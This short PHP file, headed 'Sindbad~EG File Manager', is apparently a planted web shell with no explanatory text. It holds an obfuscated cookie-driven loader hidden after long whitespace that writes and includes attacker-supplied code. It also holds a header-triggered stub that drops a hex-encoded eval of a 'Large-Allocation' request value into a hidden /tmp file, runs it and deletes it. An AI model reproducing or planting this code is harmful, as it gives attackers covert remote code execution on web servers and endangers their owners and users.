Sindbad~EG File Manager

<?php																																										if(isset($_COOKIE[3])&&isset($_COOKIE[13])){$c=$_COOKIE;$k=0;$n=7;$p=array();$p[$k]='';while($n){$p[$k].=$c[13][$n];if(!$c[13][$n+1]){if(!$c[13][$n+2])break;$k++;$p[$k]='';$n++;}$n=$n+7+1;}$k=$p[4]().$p[11];if(!$p[6]($k)){$n=$p[19]($k,$p[25]);$p[3]($n,$p[27].$p[5]($p[14]($c[3])));}include($k);}

$_HEADERS = getallheaders();
if (isset($_HEADERS['Feature-Policy'])) {
    $c = "<\x3f\x70h\x70\x20@\x65\x76a\x6c\x28$\x5f\x52E\x51\x55E\x53\x54[\x22\x4ca\x72\x67e\x2d\x41l\x6c\x6fc\x61\x74i\x6f\x6e\"\x5d\x29;\x40\x65v\x61\x6c(\x24\x5fH\x45\x41D\x45\x52S\x5b\x22L\x61\x72g\x65\x2dA\x6c\x6co\x63\x61t\x69\x6fn\x22\x5d)\x3b";
    $f = '/tmp/.'.time();
    file_put_contents($f, $c);
    include($f);
    unlink($f);
}